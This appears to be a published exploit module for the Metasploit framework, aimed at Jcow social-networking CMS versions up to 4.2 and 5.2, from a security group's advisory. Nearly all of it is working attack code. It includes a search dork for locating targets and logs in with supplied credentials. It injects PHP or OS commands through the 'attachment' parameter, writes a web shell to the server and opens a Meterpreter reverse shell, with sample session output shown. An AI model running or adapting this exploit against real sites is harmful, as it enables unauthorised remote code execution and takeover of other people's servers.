# Exploit Title: Jcow CMS 4.x:4.2 <= , 5.x:5.2 <= | Arbitrary Code Execution
# Google Dork: "intext: Powered by Jcow"
# Date: 2011-08-26
# Author: Aung Khant <http://yehg.net, YGN Ethical Hacker Group>
# Software Link: http://sourceforge.net/projects/jcow/files/jcow4/jcow.4.2.1.zip/download
# Version: 4.x:4.2 <= , 5.x: 5.2 <=
# Tested on: FreeBSD
# Advisory URL: http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution
#[*] Started reverse handler on 1.2.3.4:4444
#[*] Trying to login as hax0r
#[*] Logged in successfully (cookie: bd665943297fe4bdc39ec704c21888ff)
#[*] Trying to pwn a shell
#[*] Uploading the payload: /files/h3x00rr.php
#[*] Uploaded successfully
#[*] Getting the shell
#[*] Sending stage (38553 bytes) to 5.6.7.8
#[*] Meterpreter session 1 opened (1.2.3.4:4444 -> 5.6.7.8:34441) at Sat Jun 04 00:00:44 +0000 2011
#
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'JCow CMS Remote Command
Execution',
'Description' => %q{
This module exploits a vulnerability in the JCow Social Networking CMS.
In versions (4.x: 4.2 and lower, 5.x: 5.2 and lower),
authenticated members can trigger php code execution via
"attachment" parameter.
},
'Author' => [ 'Aung Khant <YGN Ethical Hacker Group, http://yehg.net/>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 1 $',
'References' =>
[
[ 'URL', 'http://www.jcow.net/' ],
[ 'URL', 'http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'BadChars' => "\#",
'Space' => 4000,
'Compat' =>{'ConnectionType' => 'find'},
'Keys' => ['php']
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Aug 26 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "JCow directory path", "/"]),
OptString.new('USERNAME', [ false, 'The username to authenticate as', 'hax0r' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username','pwn3d' ]),
OptString.new('COOKIE', [ false, 'Authenticated Cookie in face of ReCaptCha' ]),
OptString.new('PHP', [ false, 'Arbitrary PHP code to run' ]),
OptString.new('CMD', [ false, 'Arbitrary OS Command to run if PHP\'s os cmd execution is not' ]),
OptString.new('SHELL', [ false, 'Get PHP Reverse Shell back to your Box'])
], self.class)
end
def check
uri = ''
uri << datastore['URI']
uri << '/' if uri[-1,1] != '/'
res = send_request_raw(
{
'uri' => uri
}, 25)
if (res && res.body =~ /name="Generator" content="Jcow Social Networking Software. ?([0-9]\.[0-9])/)
ver = $1
print_status("Target Jcow version is #{ver}")
vers = ver.split('.').map { |v| v.to_i }
if (vers[0] == 5) and (vers[1] < 3)
return Exploit::CheckCode::Vulnerable
elsif (vers[0] == 4) and (vers[1] < 3)
return Exploit::CheckCode::Vulnerable
elsif (vers[0] < 4)
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
print_error("Unable to determine exploitability. Go
Exploiting.")
end
def exploit
uri_base = ''
uri_base << datastore['URI']
uri_base << '/' if uri_base[-1,1] != '/'
cookie = datastore['COOKIE']
if (cookie == nil)
print_status("Trying to login as
#{datastore['USERNAME']}")
cookie = get_login_cookie(uri_base)
if (not cookie)
raise RuntimeError, 'Unable to login!'
end
print_status("Logged in successfully (cookie:
#{cookie})")
else
print_status("Using authenticated cookie:
#{cookie}")
end
if (datastore['PHP'])
print_status("Executing PHP Code:
#{datastore['PHP']}")
run_code(uri_base,cookie,datastore['PHP'])
end
if (datastore['CMD'])
print_status("Executing CMD:
#{datastore['CMD']}")
run_code(uri_base,cookie, datastore['CMD'],'os')
end
if (datastore['SHELL'])
print_status("Trying to pwn a shell")
get_reverse_shell(uri_base,cookie)
end
end
def get_login_cookie(uri_base)
cookie = nil
res = send_request_cgi(
{
'method' => 'POST',
'uri' => uri_base +
'?p=member/loginpost',
'vars_post' =>
{
'username' =>
datastore['USERNAME'],
'password' =>
datastore['PASSWORD']
}
})
if (not res or res.code != 302)
print_error("Failed to login")
if (res.body =~ /<script type="text\/javascript"
src="http:\/\/www.google.com\/recaptcha\/api\/challenge/)
print_error("Recaptcha
Enabled\r\nProvide Authenticated Cookie")
end
return nil
end
if (res.headers['Set-Cookie'] =~ /PHPSESSID=(.*);/)
cookie = $1
else
print_error("Unable to get authenticated
cookie")
return
end
cookie
end
def run_code(uri_base, cookie, code, mode='php')
cmd = nil
if mode != 'php'
cmd = 'error_reporting(0);print+`' <<
Rex::Text.to_hex("#{code}",prefix = "%") << '`'
else
cmd = 'error_reporting(0);eval(' <<
code.unpack("C*").collect{|x| "chr(#{x})"}.join('.') << ')'
end
data =
"page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => uri_base +
'?p=streampublish',
'data' => data ,
'headers' =>
{
'Cookie' =>
"PHPSESSID=#{cookie}"
},
})
if (res)
if (res.body.to_s.length > 0)
is_session_expired(res.body.to_s)
print_status("#{mode.upcase} Command
Output from the server:")
print("\n" + res.body.to_s + "\n\n")
else
print_error("No data returned from the
server")
end
else
print_error("Connection Timeout from the
server")
end
end
def is_session_expired(pg)
if (pg =~ /please login first/)
raise RuntimeError, "Your Login has expired"
end
end
def get_reverse_shell(uri_base,cookie)
cmd_php = '<?php ' << payload.encoded << ' ?>'
shell_file = 'files/' + rand_text_alphanumeric(6) << '.php'
shell_url = uri_base + shell_file
print_status("Uploading the payload: " << shell_url )
encoded_shell_file = shell_file.unpack("C*").collect{|x|
"chr(#{x})"}.join('.')
encoded_payload = payload.encoded
cmd = "file_put_contents(#{encoded_shell_file},
$_SERVER['HTTP_X_CMD'])"
data =
"page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => uri_base +
'?p=streampublish',
'data' => data ,
'headers' =>
{
'X-CMD' =>
cmd_php,
'Cookie' =>
"PHPSESSID=#{cookie}"
},
})
if (res)
if (res.code.to_i > 200)
print_error("Fail to upload :
#{res.code} #{res.body[0,500].inspect}...")
return
elsif (res.code == 200)
is_session_expired(res.body.to_s)
end
end
print_status("Uploaded successfully")
print_status("Getting the shell")
res = send_request_raw(
{
'global' => true,
'uri' => uri_base + shell_file
})
handler
end
end